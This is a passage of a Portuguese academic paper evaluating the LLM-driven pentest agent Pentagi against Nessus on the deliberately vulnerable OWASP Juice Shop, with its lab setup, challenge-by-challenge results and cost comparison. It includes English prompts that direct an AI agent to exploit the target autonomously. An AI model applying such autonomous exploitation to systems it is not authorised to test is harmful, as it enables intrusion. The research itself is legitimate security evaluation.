profissionais altamente capacitados e o tempo limitado para execução dos mesmos para
uma cobertura adequada de cenários de teste. Dado isso, cresce a busca por ferramen-
tas de automação de testes de penetração, que permitem ampliar a cobertura, eficiência
e economizar tempo dos testes sem comprometer a qualidade dos resultados obtidos
[Skandylas and Asplund 2024].

Recentemente um novo vetor de transformação tem emergido, o uso de inte-
ligências artificiais (IA), em especial LLMs aplicados ao contexto de cibersegurança ofen-
siva. Tais tecnologias possibilitam análises mais ágeis, geração de cenários automatizados
e até mesmo ataques com maior criatividade e abrangência, oferecendo suporte inteligente
para identificação e exploração de vulnerabilidades [Challita and Parrend 2025].

Diante do exposto, este trabalho tem por objetivo a análise e aplicabilidade do Pen-
tagi como ferramenta de automação de pentests baseada em IA, avaliando sua eficácia,
eficiência e custo no contexto de segurança cibernética. Procura-se, portanto, compreen-
der de que forma a integração de LLMs e outras técnicas de IA permitem até o momento
atual, melhorar processos de segurança ofensiva, possibilitando que sejam mais acessı́veis
e escaláveis para entidades.

A ferramenta Pentagi é um agente autônomo de segurança cibernética baseado
em LLMs que tem como objetivo executar testes de penetração de forma automatizada
e contextual. Sua arquitetura foi projetada para integrar módulos de raciocı́nio iterativo
(“chain-of-thought”), tomada de decisão autônoma e comunicação estruturada com APIs
de análise de vulnerabilidades. Diferente dos scanners tradicionais, o Pentagi não se limita
a assinaturas ou heurı́sticas, mas busca compreender o comportamento da aplicação alvo
e gerar ataques adaptativos com base nas respostas recebidas.

Este trabalho está estruturado em cinco seções, além desta introdução. A Seção 2
apresenta os trabalhos relacionados, revisando as principais pesquisas e ferramentas de
automação em testes de penetração, com foco em abordagens que utilizam inteligência
artificial e modelos de linguagem. A Seção 3 descreve a metodologia adotada, detalhando
a configuração do ambiente experimental, as ferramentas empregadas, os procedimentos
de execução e os critérios de avaliação. A Seção 4 apresenta e discute os resultados
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obtidos, comparando o desempenho do Pentagi com o Nessus Essentials e analisando o
impacto dos diferentes modelos de LLM sobre a eficácia, eficiência e custo dos testes.
Por fim, a Seção 5 reúne as considerações finais, destacando as contribuições, limitações
e possı́veis direções para trabalhos futuros na área de segurança ofensiva automatizada.

2. Trabalhos Relacionados

Nos estudos que abordam a análise e o desenvolvimento de ferramentas de automação
para testes de penetração, a utilização de ambientes simulados tem se mostrado uma
prática consolidada, dado que esta prática permite avaliar as soluções propostas em um
contexto controlado, reprodutı́vel e seguro [Yarphel and Rani 2025]. Essa abordagem
também possibilita a aplicação de metodologias padronizadas e facilita a aferição da co-
bertura e precisão dos pentests, como demonstrado em iniciativas da OWASP, que dis-
ponibilizam máquinas propositalmente vulneráveis para fins educacionais e de pesquisa.
Dessa forma, os trabalhos correlatos apontam que a escolha por ambientes simulados
agrega aspectos fundamentais para o estudo e a avaliação da aplicabilidade de ferramen-
tas de automação, como o Pentagi [Silva 2024].

Diversos frameworks e ferramentas têm sido avaliados quanto a sua eficiência,
abrangência e adaptabilidade em diferentes cenários de pentest. O estudo de
[B et al. 2024] realiza uma análise comparativa entre três ferramentas amplamente utili-
zadas: Nessus, Acunetix e Nikto. A pesquisa avalia critérios como precisão na detecção,
pontuação de risco pelo Common Vulnerability Scoring System (CVSS), facilidade de
uso, automação, geração de relatórios, desempenho e custo-benefı́cio. Os resultados ofe-
recem insights valiosos para a escolha da ferramenta mais adequada a diferentes neces-
sidades de segurança. Essa análise é especialmente relevante para a comparação com o
Pentagi, já que ambos buscam automatizar a detecção de vulnerabilidades, ainda que com
abordagens e nı́veis de integração distintos.

Pesquisas recentes têm explorado a aplicação de agentes de inteligência artifi-
cial (IA) em LLMs para automatizar etapas fundamentais de segurança ofensiva, visando
aprimorar a eficiência e a eficácia de testes de penetração. Um exemplo é o trabalho de
Shashwat et al. (2024), que realizou um estudo preliminar aplicando LLMs ao pentes-
ting de software: os modelos foram treinados para identificar vulnerabilidades em código
usando o OWASP Benchmark, comparando seus resultados com ferramentas tradicio-
nais como SonarQube, e demonstraram melhora com engenharia iterativa de prompts
[Kumar et al. 2024]. Já Goyal et al. (2024) introduzem o conceito de “LLM-Augmented
Pentesting” por meio da ferramenta Pentest Copilot, que integra modelos LLM ao fluxo
de trabalho de pentest com mecanismos como “chain-of-thought” e Retrieval-Augmented
Generation (RAG), resultando em maior compreensão do contexto, menor tendência a er-
ros (alucinações) e suporte ao entendimento de arquivos. Essas iniciativas ilustram como
essas abordagens podem fortalecer soluções como o Pentagi, ao combinar automação
autônoma com alinhamento contextual e robustez metodológica.

A incorporação de LLMs em segurança ofensiva representa um novo paradigma,
no qual a análise automatizada deixa de se basear apenas em assinaturas e passa a uti-
lizar raciocı́nio semântico e inferência contextual. Modelos como GPT-4 e Claude 3
conseguem interpretar descrições de falhas, gerar hipóteses de exploração e até adaptar
ataques de acordo com as respostas da aplicação, algo inatingı́vel por scanners convenci-
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onais. Esse avanço abre caminho para a criação de agentes de segurança verdadeiramente
autônomos.

3. Metodologia
A metodologia adotada neste trabalho foi estruturada para permitir uma avaliação consis-
tente do uso de LLMs em ferramentas de automação de pentest. O processo foi dividido
em etapas que abrangem desde a configuração do ambiente de testes até a execução e
análise dos resultados. Inicialmente, foi realizado o setup do ambiente, contemplando a
seleção e configuração da infraestrutura necessária para a execução dos experimentos. Em
seguida, procedeu-se à escolha e parametrização dos modelos de LLM a serem utilizados,
considerando aspectos como capacidade de processamento, custo e compatibilidade com
a ferramenta Pentagi. Por fim, foram definidos os procedimentos de execução dos tes-
tes e os critérios de avaliação, garantindo a reprodutibilidade e a comparabilidade dos
resultados obtidos.

3.1. Configuração do Ambiente de Testes

Nesta etapa, foi preparado o ambiente computacional necessário para a execução dos
testes, garantindo que todas as ferramentas operassem em condições controladas e equi-
valentes. Foram definidos os recursos de hardware e software, como sistema operacional,
memória, processador e versões das bibliotecas utilizadas. Além disso, foram estabeleci-
das as configurações de rede e os parâmetros de segurança para assegurar a integridade
dos testes. Essa abordagem está alinhada a práticas recomendadas em pesquisas recen-
tes, que enfatizam a criação de ambientes de simulação controlados para possibilitar tanto
a reprodutibilidade dos experimentos quanto a geração de cenários realistas de ataque e
monitoramento em segurança cibernética [Bakiya et al. 2024].

Figura 1. Diagrama da Arquitetura do Ambiente de Testes.

3.1.1. Máquinas utilizadas

Para a realização dos experimentos foram utilizadas duas máquinas fı́sicas, conectadas na
mesma rede, cada uma desempenhando papéis especı́ficos no ambiente de testes. Essa
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separação entre o ambiente atacante e o ambiente alvo foi essencial para garantir isola-
mento e controle durante os testes. Além de simular uma topologia real de rede corpo-
rativa, essa configuração permitiu observar o comportamento das LLMs em um contexto
distribuı́do, o que é especialmente relevante quando se avaliam ferramentas que dependem
de latência de rede e respostas HTTP para ajustar seu raciocı́nio.

A primeira máquina, dedicada à execução do Pentagi, concentrou o maior po-
der computacional. Trata-se de um Dell G15-i1300-D35P com Intel Core i5-13450HX
(13ª geração), 16 GB de RAM DDR5, SSD NVMe de 512 GB e GPU NVIDIA Ge-
Force RTX 3050 (6 GB), executando Windows 11. Sua configuração robusta permitiu
processar o Pentagi e conduzir a maior parte das análises de forma eficiente.

A segunda máquina teve a função de hospedar serviços auxiliares e os alvos vul-
neráveis. Foi utilizado um Apple MacBook Pro 13” (A1708, 2017) com Intel Core i5-
7360U, 8 GB de RAM e SSD PCIe de 128 GB, rodando macOS Ventura. Nele foram
configurados o ambiente Docker e uma rede Kubernetes para implantação da aplicação
vulnerável OWASP Juice Shop, além do Langfuse. O Langfuse foi essencial para garan-
tir rastreabilidade, correlacionando ações do Pentagi com resultados obtidos e registrando
raciocı́nios, prompts e respostas das LLMs — algo não oferecido por ferramentas tradici-
onais de pentest.

A OWASP Juice Shop é uma aplicação web intencionalmente vulnerável, de-
senvolvida pela OWASP para fins educacionais e de pesquisa. Construı́da em Node.js e
Angular, simula uma loja virtual contendo dezenas de vulnerabilidades reais que abran-
gem categorias do OWASP Top 10, como XSS, SQL Injection, falhas de autenticação e
exposição de dados sensı́veis. Por isso, tornou-se uma referência global para avaliação de
ferramentas de segurança ofensiva e para treinamento em ambientes controlados.

3.1.2. Softwares Utilizados

Para a condução deste estudo, a seleção e a configuração dos softwares foram executadas
com rigor metodológico, buscando estabelecer um ambiente de teste que fosse ao mesmo
tempo controlado, reprodutı́vel e isolado do sistema hospedeiro. A infraestrutura de soft-
ware foi estrategicamente distribuı́da entre as duas máquinas fı́sicas, cada qual com uma
função especı́fica dentro do ecossistema de pesquisa, conectadas por meio de uma rede
Wi-Fi para simular um cenário de ataque real com a separação fı́sica entre o agente e o
alvo.

No Apple MacBook Pro, responsável por hospedar a aplicação vulnerável e seus
serviços auxiliares, a arquitetura foi estruturada em camadas. O Docker garantiu o iso-
lamento dos serviços, enquanto o OrbStack (v1.11.3) forneceu a virtualização de baixo
nı́vel no macOS, oferecendo leveza e bom desempenho. Sobre essa base, foi configurado
um cluster Kubernetes, cuja função foi orquestrar os containers da aplicação alvo e simu-
lar a elasticidade de um ambiente produtivo — aspecto essencial para avaliar ferramentas
de pentest automatizado em cenários complexos. A ferramenta Langfuse (v2.95.9) foi in-
tegrada como sistema de logging e rastreamento, registrando detalhadamente as interações
da LLM com a aplicação e armazenando métricas como tempo de execução e cobertura
de vulnerabilidades.
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No notebook Dell G15, destinado à execução dos ataques, o Docker Desktop
hospedou a ferramenta Pentagi (v0.2.0) em ambiente containerizado, garantindo con-
sistência e confiabilidade nos testes. Para fins comparativos, a ferramenta Nessus Es-
sentials (v10.9.3) também foi instalada para detecção automatizada de vulnerabilidades,
servindo como referência metodológica. A separação das máquinas — uma para o ambi-
ente alvo e coleta de dados, outra para os ataques — reforçou o controle experimental e
permitiu uma análise mais precisa da eficácia da orquestração de ataques automatizados.

3.1.3. Configuração e Parametrização das LLMs

Para a condução dos testes, a ferramenta Pentagi foi configurada para operar com uma
única chave de API (API token), sem a especificação manual de modelos de linguagem
ou a customização de seus parâmetros de geração. O objetivo foi avaliar o desempenho
do agente de IA em sua configuração padrão (out-of-the-box), simulando a utilização por
um usuário que busca uma solução de automação de testes de penetração com o mı́nimo
de intervenção técnica.

Nessa configuração, o próprio agente de IA do Pentagi, por meio de sua lógica
interna, gerencia as chamadas de API, selecionando de forma autônoma os modelos de
linguagem (como GPT-4 da OpenAI ou Claude 3 Opus da Anthropic) e os parâmetros de
geração mais adequados para cada etapa do processo de análise. Essa abordagem reforça
o caráter de automação e escalabilidade do agente, validando o conceito de que soluções
baseadas em IA podem tornar a segurança ofensiva mais acessı́vel.

3.1.4. Procedimentos de Execução

A condução dos experimentos de segurança seguiu uma abordagem de teste de penetração
de caixa-preta (black-box), na qual o agente de IA não possuı́a conhecimento prévio do
código-fonte ou da arquitetura interna da aplicação alvo. Esta metodologia foi selecio-
nada para simular um cenário de ataque real, replicando as condições que um atacante
malicioso enfrentaria. O procedimento de teste foi executado em duas fases distintas.

Fase 1: Execução do Agente de IA Nesta fase, a ferramenta Pentagi foi utilizada para
realizar um teste de penetração autônomo na aplicação vulnerável OWASP Juice Shop.
O agente de IA foi configurado para iniciar a varredura e a exploração sem intervenção
humana, registrando todas as suas ações, interações e descobertas em tempo real. O
sistema de logging Langfuse foi empregado para coletar de forma estruturada os dados do
processo, incluindo o tempo de execução e as vulnerabilidades identificadas.

Fase 2: Execução da Ferramenta de Referência Em paralelo, a ferramenta Nessus
Essentials foi utilizada como um ponto de referência para a análise comparativa. Foi
realizada uma varredura completa da aplicação alvo, utilizando as polı́ticas de teste padrão
da ferramenta. O objetivo desta fase foi obter um relatório detalhado das vulnerabilidades
conhecidas pela ferramenta, que serviria como a base para a avaliação de eficácia do
agente de IA.
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3.1.5. Critérios de Avaliação e Análise

A análise dos resultados foi baseada em uma avaliação comparativa entre o desempenho
do agente Pentagi e da ferramenta Nessus Essentials, utilizando os seguintes critérios:
eficácia, eficiência e custo.

Eficácia A eficácia de cada ferramenta será medida pela porcentagem de vulnerabilida-
des detectadas em relação ao total de vulnerabilidades conhecidas na aplicação OWASP
Juice Shop. A lista de vulnerabilidades da aplicação servirá como o ”Ground Truth”para
o experimento, permitindo uma medição objetiva e comparativa.

Eficiência A eficiência será avaliada com base no tempo total de execução necessário
para cada ferramenta completar a varredura e o teste de penetração. Os dados de tempo
serão extraı́dos dos logs do Pentagi e dos relatórios de varredura do Nessus Essentials,
demonstrando qual abordagem é mais ágil no contexto da automação.

Custo O custo-benefı́cio será analisado de forma qualitativa, considerando o preço de
licença de cada ferramenta, os recursos computacionais demandados para a execução e o
tempo necessário de um analista de segurança para configurar, executar e interpretar os
resultados. Esta análise é fundamental para auxiliar na tomada de decisão de investimento
em soluções de segurança cibernética.

4. Resultados e Discussões

4.1. Apresentação dos Resultados

Nesta seção, apresentamos os resultados obtidos com os testes de penetração realizados
com a ferramenta Pentagi e a ferramenta de referência Nessus Essentials. Inicialmente,
a Tabela 1 apresenta os prompts utilizados nos experimentos, descrevendo os diferentes
nı́veis de instrução fornecidos ao agente de IA e suas respectivas motivações. As tabe-
las subsequentes apresentam os resultados obtidos, permitindo a análise comparativa do
desempenho do Pentagi sob diferentes configurações e sua comparação com o Nessus
Essentials.

Tabela 1. Tabela de Prompts Utilizados nos testes

Prompt Motivação
Prompt 01 — Abordagem genérica
Please scan the following target for vulnerabilities and ex-
ploits: http://192.168.15.8:30085/
Focus on identifying common web application vulnera-
bilities, such as injection flaws, XSS, misconfigurations,
and exposed admin panels. Avoid brute-force or denial-of-
service attacks.

Validar de forma simples
e genérica a eficiência
e eficácia do pentest ao
ser realizado com poucas
instruções

Continua na próxima página
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Tabela 1 – continuação
Prompt Motivação
Prompt 02 — Abordagem metodológica guiada
You are an experienced and methodical penetration tester.
Your task is to perform a web application penetration test
on the following target, following a step-by-step approach.
Target: http://192.168.15.8:30085/
Methodology:
Reconnaissance: Begin with passive information gathering
on the target. Identify technologies, endpoints, APIs, and
important files like robots.txt or sitemap.xml.
Vulnerability Analysis: Focus on OWASP Top 10 vulnera-
bilities. Test for injection flaws, such as SQL injection and
Cross-Site Scripting (XSS). Search for misconfigurations,
like exposed directories, and attempt to find admin panels
(/admin, /dashboard).
Restrictions: Do not perform denial-of-service (DoS) or
brute-force attacks. Keep all interactions within the defined
scope.
Output Format: For each vulnerability found, provide a
brief description, the affected endpoint, and the type of at-
tack. At the end of the test, provide a concise summary with
the total number of vulnerabilities found, categorized by
type.
Follow these instructions precisely to optimize the detection
process.

Inserir persona e maior
detalhamento meto-
dológico para validar a
eficiência e eficácia do
pentest com instruções
mais estruturadas

Prompt 03 — Abordagem orientada a objetivos
As a professional penetration tester, your task is to solve the
security challenges on the OWASP Juice Shop application.
Target: http://192.168.15.8:30085/
Instructions:
1. Identify and exploit vulnerabilities on the target to solve

the challenges on the score board.
2. Focus on common web application vulnerabilities like:

• Injection Flaws: SQL Injection, XSS (Cross-Site
Scripting).

• Authentication Issues: Finding exposed credentials or
bypassing logins.

• Misconfigurations: Locating exposed files or directo-
ries.

3. Do not perform Denial of Service (DoS) or brute-force
attacks.

4. For each solved challenge, report the vulnerability type
and the method used to exploit it.

Inserir persona e
instruções mais diretas
e orientadas a objetivos
para avaliar a capacidade
de exploração do agente
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Tabela 2. Resultados testes

Agente Tokens Gastos Tarefas
Realizadas

Prompt Tempo

Nessus * 4 de 172 * 15 min
Antropic

• claude-3-5-sonnet: 5.35M
• claude-3-5-haiku: 332.87K

5 de 172 Prompt 01 1:34h

Antropic
• claude-3-5-sonnet: 5.59M
• claude-3-5-haiku: 482.39K

8 de 172 Prompt 02 1:35h

Antropic
• claude-3-5-sonnet: 7.55M
• claude-3-5-haiku: 390.48K
• claude-3-opus: 4.64K

9 de 172 Prompt 03 1:35h

OpenAI
• gpt-4o: 1.34M
• gpt-4: 119.35k
• gpt-4o-mini: 96.77k

2 de 172 Prompt 01 1:35h

OpenAI
• gpt-4o: 2.27M
• gpt-4: 41.23k
• gpt-4o-mini: 169.76k

2 de 172 Prompt 02 1:25h

OpenAI
• gpt-4o: 1.39M
• gpt-4: 67.45k
• gpt-4o-mini: 194.26k

4 de 172 Prompt 03 1:29h

Antes da apresentação dos resultados detalhados, faz-se necessário contextualizar
o conceito de nı́vel de dificuldade adotado pela aplicação OWASP Juice Shop. A plata-
forma organiza seus desafios de segurança em nı́veis graduais de dificuldade, variando
de 1 (muito fácil) a 6 (muito difı́cil), com o objetivo de representar diferentes graus de
complexidade técnica, esforço analı́tico e conhecimento necessário para a identificação e
exploração das vulnerabilidades.

Os desafios classificados como nı́vel 1 envolvem falhas triviais ou evidentes, ge-
ralmente detectáveis por scanners automatizados tradicionais ou por inspeção básica da
aplicação, como mensagens de erro mal tratadas ou exposição simples de informações. Já
os nı́veis 2 e 3 representam vulnerabilidades de complexidade intermediária, que exigem
maior interação com a aplicação, compreensão do fluxo de autenticação ou manipulação
de parâmetros, podendo demandar análise manual ou raciocı́nio contextual para sua
exploração.

Os desafios de nı́veis 4, 5 e 6 correspondem a vulnerabilidades avançadas, que
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normalmente requerem múltiplas etapas de exploração, correlação de informações, co-
nhecimento aprofundado sobre lógica de negócio e segurança de aplicações web. Esses
nı́veis são projetados para simular cenários realistas enfrentados em ambientes corporati-
vos, nos quais ataques bem-sucedidos dependem de planejamento, adaptação dinâmica e
entendimento profundo do comportamento da aplicação.

Além da classificação por nı́vel de dificuldade, os resultados também foram cate-
gorizados quanto ao grau de resolução dos desafios, sendo classificados como resolução
completa ou resolução parcial. Essa distinção é fundamental para interpretar correta-
mente o desempenho das ferramentas avaliadas, uma vez que a simples identificação de
uma vulnerabilidade não implica, necessariamente, sua exploração bem-sucedida.

Considera-se como resolução completa quando a ferramenta ou agente de teste
de penetração foi capaz de identificar, explorar efetivamente a vulnerabilidade e atin-
gir o objetivo final do desafio, conforme definido pela própria aplicação OWASP Juice
Shop. Nesses casos, a exploração resulta em evidências concretas, como acesso não au-
torizado, extração de informações sensı́veis, execução de ações privilegiadas ou o desblo-
queio explı́cito do desafio no scoreboard da aplicação.

A resolução parcial, por sua vez, ocorre quando a ferramenta consegue identificar
corretamente a vulnerabilidade ou apresentar indı́cios claros de sua existência, mas não
conclui todas as etapas necessárias para a exploração completa do desafio. Esse cenário
pode ser influenciado por limitações de escopo do teste, restrições impostas ao tipo de
ataque executado, dificuldades na exploração de lógica de negócio ou barreiras técnicas
do ambiente avaliado.

Dessa forma, a distinção entre resolução parcial e completa possibilita uma análise
mais refinada dos resultados, permitindo avaliar não apenas a capacidade de detecção de
vulnerabilidades, mas também o grau de efetividade na condução da cadeia de exploração.
Essa abordagem é especialmente relevante na análise de agentes baseados em LLMs,
como o Pentagi, cuja proposta envolve raciocı́nio contextual, tomada de decisão progres-
siva e adaptação dinâmica durante o processo de ataque.

Tabela 3. Resultados por Dificuldade - Nessus

Dificuldade Qtd Desafios Resolução
1 1 Exposed Metrics Parcial
1 1 Error Handling Completa
2 1 Login Admin Parcial
2 1 Security Policy Completa

Tabela 4. Resultados por Dificuldade - Agente Anthropic – Prompt 01

Dificuldade Qtd Desafios Resolução
1 1 Confidential Document, Parcial
1 1 Error Handling, Completa
2 1 Login Admin Parcial
2 1 View Basket Completa
3 1 Upload Type Completa
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Tabela 5. Resultados por Dificuldade - Agente Anthropic – Prompt 02

Dificuldade Qtd Desafios Resolução
1 1 Confidential Document, Parcial
1 1 Error Handling, Completa
2 2 Login Admin, Password Strength Parcial
2 2 Five-Star Feedback, Security Policy Completa
3 1 Database Schema Parcial
3 1 Upload Type Completa

Tabela 6. Resultados por Dificuldade - Agente Anthropic – Prompt 03

Dificuldade Qtd Desafios Resolução
1 1 Confidential Document, Parcial
1 2 Error Handling, Repetitive Registration Completa
2 2 Login Admin, Password Strength Parcial
2 1 View Basket Resolvido
3 2 Upload Type, Forged Feedback Completa
4 1 User Credentials Parcial

Tabela 7. Resultados por Dificuldade - Agente OpenAI – Prompt 01

Dificuldade Qtd Desafios Resolução
1 1 Error Handling Completa
2 1 Security Policy Completa

Tabela 8. Resultados por Dificuldade - Agente OpenAI – Prompt 02

Dificuldade Qtd Desafios Resolução
1 1 Error Handling Completa
2 1 Security Policy Completa

Tabela 9. Resultados por Dificuldade - Agente OpenAI – Prompt 03

Dificuldade Qtd Desafios Resolução
1 1 Error Handling Resolvido
2 2 Login Admin, Password Strength Parcial
3 1 Forged Review Parcial

A Tabela 10 apresenta uma sı́ntese comparativa dos resultados obtidos com a fer-
ramenta Pentagi, sob diferentes modelos de linguagem e prompts, e com a ferramenta
Nessus Essentials. São considerados o número total de vulnerabilidades identificadas,
a quantidade de resoluções completas e parciais, o tempo médio de execução e o con-
sumo aproximado de tokens, permitindo uma análise integrada dos critérios de eficácia,
eficiência e custo.
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Tabela 10. Tabela-sı́ntese dos resultados dos testes realizados

Ferramenta / Modelo Prompt Vuln. Compl. Parc. Tempo Tokens
Nessus Essentials – 4 2 2 15 min –
Claude 3 (Prompt 01) 01 5 3 2 1h34min 5.6M
Claude 3 (Prompt 02) 02 8 4 4 1h35min 6.0M
Claude 3 (Prompt 03) 03 9 5 4 1h35min 7.5M
GPT-4o (Prompt 01) 01 2 2 0 1h35min 1.3M
GPT-4o (Prompt 02) 02 2 2 0 1h25min 2.2M
GPT-4o (Prompt 03) 03 4 1 3 1h29min 1.4M

Tabela 11. Análise cruzada entre eficácia, complexidade dos desafios e custo
dos testes

Ferramenta / Modelo Prompt Vuln. Maior Dificuldade Tipo de Resolução Custo
Nessus Essentials – 4 Nı́vel 2 Parcial e Completa Baixo
Claude 3 (Prompt 01) 01 5 Nı́vel 3 Parcial e Completa Alto
Claude 3 (Prompt 02) 02 8 Nı́vel 3 Parcial e Completa Alto
Claude 3 (Prompt 03) 03 9 Nı́vel 4 Parcial e Completa Alto
GPT-4o (Prompt 01) 01 2 Nı́vel 2 Somente Completa Médio
GPT-4o (Prompt 02) 02 2 Nı́vel 2 Somente Completa Médio
GPT-4o (Prompt 03) 03 4 Nı́vel 3 Parcial e Completa Médio

4.2. Análise Comparativa (Pentagi vs. Nessus)

A partir dos dados apresentados na Tabela 2 e do relatório gerado pelo Nessus (Essentials),
realizamos uma análise comparativa baseada nos critérios de eficácia, eficiência e custo.

Observação: em todos os testes da etapa anterior, subtraiu-se 1 tarefa do total
identificado por cada agente, pois o simples acesso ao painel (dashboard) da aplicação
OWASP Juice Shop já é automaticamente contabilizado como um desafio concluı́do. Esse
ajuste foi necessário para evitar distorções nos resultados.

4.2.1. Desempenho dos Modelos de Linguagem (LLMs)

Além da comparação entre o Pentagi e o Nessus Essentials, realizou-se uma análise es-
pecı́fica sobre o desempenho dos modelos de linguagem utilizados nas execuções do Pen-
tagi, considerando os registros coletados pelo Langfuse.

A avaliação contemplou três dimensões principais: consumo de tokens, tempo
de execução e qualidade das descobertas. Os resultados indicam que o desempenho do
Pentagi está diretamente relacionado à arquitetura e à capacidade de raciocı́nio de cada
LLM.

• Claude 3 Sonnet: Apresentou o maior consumo médio de tokens (entre 5,3M e
7,5M por execução), porém com boa profundidade analı́tica. Demonstrou capa-
cidade de identificar vulnerabilidades de alto impacto, como Cross-Site Scripting
(XSS) e exposição de arquivos sensı́veis, embora com maior custo operacional.

• Claude 3 Haiku: Mostrou menor consumo de tokens (cerca de 330K a 480K) e
tempo de execução semelhante ao Sonnet. Apesar da eficiência em custo, produziu
análises mais superficiais e com menor cobertura de vulnerabilidades contextuais.
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• Claude 3 Opus: Utilizado em menor escala, apresentou equilı́brio entre custo e
profundidade de resposta. Indicou potencial para cenários intermediários, combi-
nando clareza analı́tica com menor consumo de tokens.

• GPT-4o (OpenAI): Destacou-se pela eficiência global, com tempo médio entre
1h25min e 1h29min e consumo controlado (1,3M a 2,3M tokens). Demonstrou
boa capacidade explicativa e consistência nas respostas, sendo o modelo com me-
lhor custo-benefı́cio geral.

• GPT-4 e GPT-4o-mini: Embora apresentem menor custo computacional, man-
tiveram precisão satisfatória em testes simples. São adequados para execuções
rápidas, treinamento ou uso educacional, quando o foco é aprendizado de ra-
ciocı́nio em segurança ofensiva.

De forma geral, os resultados demonstram que os modelos mais avançados —
especialmente o Claude 3 Sonnet e o GPT-4o — oferecem maior contextualização e qua-
lidade de raciocı́nio, enquanto os modelos leves, como Haiku e GPT-4o-mini, se destacam
pela agilidade e baixo custo de execução. Essa variação reforça a importância de esco-
lher o LLM conforme o objetivo do teste, equilibrando profundidade analı́tica e custo
operacional.

4.2.2. Eficácia

A eficácia foi avaliada considerando a quantidade e o tipo de vulnerabilidades identifica-
das por cada ferramenta na aplicação OWASP Juice Shop. Os resultados mostraram que o
Nessus Essentials apresentou desempenho consistente, ainda que limitado, ao identificar
4 das 172 vulnerabilidades conhecidas, completando a varredura em aproximadamente 15
minutos. Apesar da cobertura restrita inerente à versão gratuita, a ferramenta manteve es-
tabilidade e previsibilidade nos testes, servindo como base de referência para comparação.

O Pentagi, em contrapartida, apresentou resultados mais heterogêneos, variando
de 2 a 9 vulnerabilidades detectadas por execução, dependendo do modelo de linguagem
e do prompt aplicado. Entre os agentes avaliados, os modelos da Anthropic (Claude 3)
se destacaram em eficácia: a combinação Sonnet + Haiku + Opus alcançou o melhor
resultado geral, identificando 9 vulnerabilidades no Modelo 03, ainda que com maior
consumo de tokens (até 7,55 milhões) e tempo médio de 1h35min por execução. Os
modelos da OpenAI (GPT-4o e variantes) mostraram desempenho inferior em número de
vulnerabilidades (entre 2 e 4), porém com menor tempo médio de execução (1h25min a
1h29min) e custo computacional reduzido.

Dessa forma, a vantagem observada do Nessus não se baseia em uma maior am-
plitude de cobertura, mas em sua consistência e previsibilidade de detecção, enquanto o
Pentagi, ao operar com diferentes LLMs, evidenciou uma eficácia emergente e depen-
dente do modelo utilizado. O desempenho superior dos modelos Claude 3 demonstra o
potencial de aprimoramento do Pentagi conforme a evolução dos LLMs e o refinamento
das técnicas de engenharia de prompts.
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4.2.3. Eficiência

No critério de eficiência, avaliou-se o tempo total para cada ferramenta concluir sua var-
redura e exploração. O Nessus Essentials finalizou suas análises em cerca de 15 minutos,
beneficiado por assinaturas e heurı́sticas otimizadas. Já o Pentagi levou entre 1h25min e
1h35min, variando conforme o modelo de linguagem utilizado (GPT-4 ou Claude 3).

Embora mais lento, o Pentagi apresenta essa diferença devido ao seu processo in-
terativo, baseado em raciocı́nios passo a passo e reavaliação contı́nua de estratégias. Esse
comportamento, apesar de custoso temporalmente, agrega transparência, valor educacio-
nal e maior precisão nas análises.

Assim, o Nessus é mais eficiente em tempo, enquanto o Pentagi se destaca
pela adaptabilidade e pela capacidade de interpretar contextos complexos, favorecendo
cenários que exigem aprendizado contı́nuo.

4.2.4. Custo-Benefı́cio

A análise qualitativa de custo-benefı́cio considerou fatores como licenciamento, recursos
computacionais, tempo de análise e consumo de tokens. O Nessus Essentials é gratuito
para uso acadêmico e apresenta baixo custo operacional, mas requer configuração manual
e interpretação técnica dos resultados.

O Pentagi, por outro lado, não exige instalação complexa, pode operar via con-
tainer e depende apenas de uma chave de API de LLM (ex.: OpenAI ou Anthropic). O
custo principal está no consumo de tokens, que variou de 1,3 a 7,5 milhões por execução,
conforme o modelo e o número de interações. Considerando o valor médio de mercado,
os custos de operação podem se aproximar de ferramentas comerciais, embora sem a
necessidade de licenciamento fixo.

Em termos de custo-benefı́cio, o Pentagi mostra vantagem estratégica para am-
bientes de pesquisa, ensino e testes iterativos, já que dispensa infraestrutura pesada e
permite automação sem supervisão constante. Entretanto, em ambientes corporativos, o
Nessus ainda oferece maior previsibilidade de custo e robustez industrial, o que o mantém
como padrão consolidado para automação de testes de penetração.

4.3. Limitações e Trabalhos Futuros

Apesar de evidenciar o potencial do Pentagi, os experimentos revelaram algumas
limitações. O estudo ocorreu em um ambiente controlado, com apenas um alvo (OWASP
Juice Shop), o que reduz a generalização dos resultados. O agente foi executado em sua
configuração padrão, o que limitou sua capacidade de exploração avançada. Também
houve restrições de rede e permissões que afetaram análises de portas e execução de
scripts (como bloqueios no iptables). Além disso, a detecção de SQL Injection e
bypass de autenticação ficou abaixo do esperado, indicando oportunidades de aprimora-
mento nos mecanismos automáticos de exploração.

Como trabalhos futuros, recomenda-se avaliar o Pentagi em novos cenários de
aplicação — incluindo APIs, sistemas corporativos e aplicações legadas — e acompanhar
as versões mais recentes da ferramenta. É desejável incorporar engenharia de prompts,
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técnicas de RAG e comparações com outras soluções de IA, como pentestGPT ou pen-
test Copilot. Também se sugere adicionar métricas quantitativas como precision, recall e
taxa de falsos positivos, além de explorar abordagens hı́bridas combinando o Pentagi com
scanners tradicionais.

Adicionalmente, propõe-se a realização de experimentos com modelos de inte-
ligência artificial especializados em segurança da informação e testes de penetração.
Diferentemente de modelos de propósito geral, essas IAs tendem a incorporar conheci-
mento especı́fico sobre vetores de ataque, padrões de exploração, frameworks de vulnera-
bilidades e técnicas ofensivas consolidadas, o que pode impactar diretamente a eficácia e
a precisão dos testes automatizados. A comparação entre modelos generalistas e modelos
orientados à segurança permitiria avaliar ganhos em raciocı́nio contextual, capacidade de
exploração multiestágio e redução de falsos positivos, contribuindo para uma análise mais
aprofundada sobre o papel da especialização dos LLMs na evolução das ferramentas de
pentest automatizado.

Por fim, recomenda-se investigar sua integração em pipelines de DevSecOps, per-
mitindo execuções contı́nuas ao longo do ciclo de desenvolvimento — ampliando o al-
cance do Pentagi de um recurso experimental para uma solução aplicável em ambientes
corporativos reais.

5. Considerações Finais
Os resultados obtidos demonstram que a ferramenta Pentagi representa um avanço signi-
ficativo na automação de testes de penetração baseados em inteligência artificial, ofere-
cendo uma abordagem flexı́vel e interativa que alia raciocı́nio contextual, adaptabilidade
e explicabilidade. Diferente dos scanners tradicionais, o Pentagi foi capaz de interpretar
respostas da aplicação, correlacionar indı́cios de vulnerabilidade e justificar suas ações de
forma autônoma, caracterı́sticas que evidenciam o potencial dos Modelos de Linguagem
de Grande Escala na segurança ofensiva moderna.

